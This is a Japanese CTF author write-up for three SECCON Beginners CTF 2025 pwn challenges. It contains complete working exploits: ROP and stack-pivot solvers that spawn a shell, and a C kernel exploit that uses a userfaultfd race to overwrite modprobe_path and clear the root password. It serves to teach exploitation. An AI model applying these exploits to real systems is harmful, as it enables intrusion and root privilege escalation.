SECCON Beginners CTF 2025 作問者Writeup
SECCON Beginners CTF 2025へご参加くださりありがとうございました。
私はPwnのMediumとHardを担当し、pivot4b/pivot4b++/TimeOfControlの3問を作成しました。
pivot4b (394pt / 117 solves)
read関数で明らかに16バイトのスタックオーバーフローがあります。
int main() {
char message[0x30];
printf("Welcome to the pivot game!\n");
printf("Here's the pointer to message: %p\n", message);
printf("> ");
read(0, message, sizeof(message) + 0x10);
printf("Message: %s\n", message);
return 0;
}
このとき、スタックの状態はこのようになっています。

messageにオーバーフローがあるため、リターンアドレスまでを書き換えることができます。
このようなとき、まず考えるのはone_gadgetの利用ですが、今回はlibcのベースアドレスが分からないため難しそうです。
次に考えたいのはROPです。今回のバイナリはPIE無効で、pop rdi; retやsystem関数なども与えられているので、ROPを組められればシェルを取れそうです。しかし、16バイトしかオーバーフローできないので、そのままではチェーンを置けません。
ここで注目するのは、saved rbpです。このデータは、main関数の終わりにあるleave命令で利用されます。leave命令はmov rsp, rbp; pop rbpという2つの処理を行い、saved rbpをrbpレジスタへ読み込みます。つまり、main関数が終わったときにはrbpレジスタに私達が指定した値が入っています。
rbpに好きな値を入れた状態で更にもう一度leave命令を実行すると、mov rsp, rbpによってrbpレジスタの内容がrspレジスタへ移動します。rspレジスタはスタックトップのアドレスを保存しているので、rspを任意の値に設定できるというのは、任意の領域をスタックとして扱うことができるということを意味します。
よって、saved rbpにmessageのアドレス、リターンアドレスにはleave; retのアドレスを指定してあげることで、rspレジスタをmessageに向けることができます。messageにあらかじめチェーンを置いておくことで、ROPを実行することが可能です。
シェルの起動に必要な”/bin/sh”の文字列は、messageに書き込んで作りましょう。
最終的に目指すスタックの状態は、このようになります。saved rbpに入る値は、leave命令で8バイト増やされることに気をつけましょう。また一回retを挟まないとsystem関数の中でスタックのアライメントで落ちてしまいます。

ソルバです。
from ptrlib import *
elf = ELF("./chall")
sock = Socket(os.getenv("CTF4B_HOST", "pivot4b.challenges.beginners.seccon.jp"), int(os.getenv("CTF4B_PORT", 12300)))
sock.recvuntil("Here's the pointer to message: 0x")
message_addr = int(sock.recvline().strip(), 16)
payload = b"/bin/sh\x00"
payload += flat([
next(elf.gadget("pop rdi; ret")),
message_addr,
next(elf.gadget("ret")),
elf.plt("system"),
], map=p64)
payload += p64(0) * ((0x30 - len(payload)) // 8) # padding
payload += p64(message_addr) # saved rbp
payload += p64(next(elf.gadget("leave; ret"))) # ret addr
sock.sendlineafter("> ", payload)
sock.recvline()
sock.sendline("cat flag-*.txt")
sock.sh()
このようにrspレジスタをうまく書き換えてスタックをずらすテクニックは、Stack Pivotと呼ばれています。
pivot4b++ (496pt / 25 solves)
pivot4bと似ていますが、PIEが有効でスタックアドレスも与えられません。
int vuln() {
char message[0x30];
printf("Welcome to the second pivot game!\n");
printf("> ");
read(0, message, sizeof(message) + 0x10);
printf("Message: %s\n", message);
return 0;
}
messageのアドレスが不明なため、Stack Pivotを行うことはできません。
ここで、read関数は末尾にNULLを挿入しないため、printfによってmessageの領域を超えて読み出すことができます。試しに”A”*0x38などを入力してみると、リターンアドレスがリークされていることがわかると思います。
そのままではプログラムが終了してしまうため、ELFベースをリークしてからもう一度vuln関数に戻って来たいです。このバイナリはPIEが有効ですが、アドレスの下位12ビットは固定なので、リターンアドレスのうち下1バイトだけ書き換えることでvuln関数に戻りましょう。元のリターンアドレスはmain+79を指しているので、main+74にあるcall vulnを指すように書き換えればOKです。
これで、ELFベースをリークした上でvuln関数に戻ってくることができました。次は、libcベースをリークしたいです。
vuln関数が終わるとき、rdiレジスタはlibcの領域を指しています。この状態でvuln+18に飛ばすことで、putsでlibcベースをリークしながらvuln関数へ戻ってくることができます。ここで、saved rbpには適当に読み書き可能な領域を設定しておいてあげましょう。
libcベースをリークできたので、あとは適当なone_gadgetを利用すればシェルを取れます。
from ptrlib import *
elf = ELF("./chall")
libc = ELF("./libc.so.6")
sock = Socket(os.getenv("CTF4B_HOST", "pivot4b-2.challenges.beginners.seccon.jp"), int(os.getenv("CTF4B_PORT", 12300)))
# ELF base leak && ret2vuln
payload = b"A" * 0x38
payload += b"\x26" # main + 74
sock.sendafter("> ", payload)
sock.recvuntil("A" * 0x38)
elf.base = u64(sock.recvline()) - 0x1226
# libc base leak && ret2vuln
payload = b"B" * 0x30
payload += p64(elf.base + 0x5000 - 0x10) # saved rbp
payload += p64(elf.symbol("vuln") + 18) # ret addr -> puts
sock.sendafter("> ", payload)
sock.recvuntil("B" * 0x30)
sock.recvline()
libc.base = u64(sock.recvline()) - 0x62050
# one_gadget
payload = b"C" * 0x30
payload += p64(libc.base + 0x21c000) # saved rbp
payload += p64(libc.base + 0xebd3f) # one_gadget
sock.sendafter("> ", payload)
sock.recvline()
sock.sendline("cat flag-*.txt")
sock.sh()
TimeOfControl (499pt / 15 solves)
カーネル問です。脆弱性は2つあります。
1つ目は、seekでinvalidなoffsetをmsg_offsetに指定できることです。
2つ目は、Time-of-check to time-of-use(TOCTOU)と呼ばれるタイプの脆弱性です。msg_offsetについて適切にロックを取っていないため、readやwriteにおいてis_offset_validでオフセットの正当性を確認してから実際に読み書きを行うまでの間にmsg_offsetが書き換わってしまう可能性があります。
char global_msg[CTF4b_MSG_MAX_SIZE] = "Kernel Pwn is fun!";
long msg_offset = 0;
bool is_offset_valid(long offset) {
if (offset >= 0 && offset + 0x100 < CTF4b_MSG_MAX_SIZE) {
return true;
}
return false;
}
static long ctf4b_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct ctf4b_request req;
switch (cmd) {
case CTF4b_IOCTL_READ:
if (!is_offset_valid(msg_offset)) {
return -EINVAL;
}
if (copy_from_user(&req, (struct ctf4b_request __user *)arg, sizeof(req))) {
return -EFAULT;
}
if (copy_to_user((char __user *)req.buf, &global_msg[msg_offset], req.size)) {
return -EFAULT;
}
msg_offset += req.size;
break;
case CTF4b_IOCTL_WRITE:
if (!is_offset_valid(msg_offset)) {
return -EINVAL;
}
if (copy_from_user(&req, (struct ctf4b_request __user *)arg, sizeof(req))) {
return -EFAULT;
}
if (copy_from_user(&global_msg[msg_offset], (char __user *)req.buf, req.size)) {
return -EFAULT;
}
msg_offset += req.size;
break;
case CTF4b_IOCTL_SEEK:
msg_offset = (long)arg;
if (!is_offset_valid(msg_offset)) {
return -EINVAL;
}
break;
default:
return -EINVAL;
}
return 0;
}
今回はKASLRが無効です。方針としては、writeのis_offset_validが呼ばれたあとにmsg_offsetを変更し、modprobe_pathなどを書き換えて権限昇格したいです1 。
qemuの起動スクリプトを見ると、OSがシングルスレッドで動いていることが分かります。そこで、ただスレッドを立ち上げてレースコンディションを起こすのは難しそうです。このような時には、userfaultfdを利用してみましょう。
userfaultfdでは、ユーザ空間でページフォルトを処理できるようになります。今回の場合、writeのis_offset_validの直後に呼ばれるcopy_from_userで意図的にページフォルトを発生させ、そのハンドラでmsg_offsetの値を変更することで、is_offset_validのチェックの後にmsg_offsetの値を変更することができます。
#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <unistd.h>
#define CTF4b_IOCTL_SEEK 0x4B001
#define CTF4b_IOCTL_READ 0x4B010
#define CTF4b_IOCTL_WRITE 0x4B100
#define CTF4b_MSG_MAX_SIZE 0x100
#define CTF4b_DEV_NAME "ctf4b"
#define uint8_t unsigned char
const long MODULE_BASE = 0xffffffffc0000000;
const long GLOBAL_MSG_ADDR = 0xffffffffc0002160; // 0xffff8880033f6160;
const long MODPROBE_PATH = 0xffffffff820ade80; // 0xffff8880020ade80;
struct ctf4b_request {
char *buf;
uint8_t size;
};
char ctf4b_buf[CTF4b_MSG_MAX_SIZE] = "/tmp/exp";
int fd;
void panic(const char *msg) {
perror(msg);
_exit(1);
}
static void *fault_handler(void *arg) {
long uffd = (long)arg;
char *addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE + MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
panic("Failed to mmap memory for fault handler");
}
struct pollfd pollfd = {
.fd = uffd,
.events = POLLIN,
};
while (1) {
if (poll(&pollfd, 1, -1) < 0) {
panic("Poll failed");
}
if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) {
panic("Poll error or hangup");
}
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
panic("Failed to read from uffd");
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
panic("Unexpected event type");
}
puts("[+] Handling userfaultfd...");
// Set offset to the MODPROBE_PATH address
ioctl(fd, CTF4b_IOCTL_SEEK,
(unsigned long)(MODPROBE_PATH - GLOBAL_MSG_ADDR));
struct ctf4b_request ctf4b_req = {.buf = ctf4b_buf, .size = 0x10};
memcpy(addr, &ctf4b_req, sizeof(ctf4b_req));
struct uffdio_copy copy;
copy.src = (unsigned long)addr;
copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
copy.len = 0x1000;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
panic("Failed to copy memory to page fault address");
}
puts("[+] Page fault handled successfully");
}
}
void setup_uffd(void *addr) {
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd < 0) {
panic("Failed to create userfaultfd");
}
struct uffdio_api uffdio_api = {
.api = UFFD_API,
.features = 0,
};
if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) {
panic("Failed to set up userfaultfd API");
}
struct uffdio_register uffdio_register = {
.range.start = (unsigned long)addr,
.range.len = 0x1000,
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) {
panic("Failed to register memory range with userfaultfd");
}
pthread_t thread;
if (pthread_create(&thread, NULL, fault_handler, (void *)uffd) != 0) {
panic("Failed to create fault handler thread");
}
}
void win() {
puts("[+] Triggering win function...");
// Create file to be executed by root
FILE *fp = fopen("/tmp/exp", "w");
if (!fp) {
panic("Failed to create /tmp/exp");
}
fprintf(fp, "#!/bin/sh\n");
fprintf(fp, "passwd -d root\n");
fclose(fp);
if (chmod("/tmp/exp", 0755) < 0) {
perror("Failed to set permissions on /tmp/exp");
}
// Create file with invalid magic
fp = fopen("/tmp/fuge", "wb");
if (!fp) {
panic("Failed to create /tmp/fuge");
}
fprintf(fp, "\xff");
fclose(fp);
if (chmod("/tmp/fuge", 0777) < 0) {
perror("Failed to set permissions on /tmp/fuge");
}
system("/tmp/fuge");
system("/bin/sh -c \"su root\"");
}
int main() {
fd = open("/dev/ctf4b", O_RDWR);
if (fd < 0) {
panic("Failed to open device");
}
void *addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
panic("Failed to mmap memory");
}
setup_uffd(addr);
// Trigger userfault
ioctl(fd, CTF4b_IOCTL_WRITE, addr);
win();
return 0;
}
1. 権限昇格についての詳細な解説はここでは行いませんが、ptr-yudai氏のPawnyableなど日本語でも詳しい解説があります。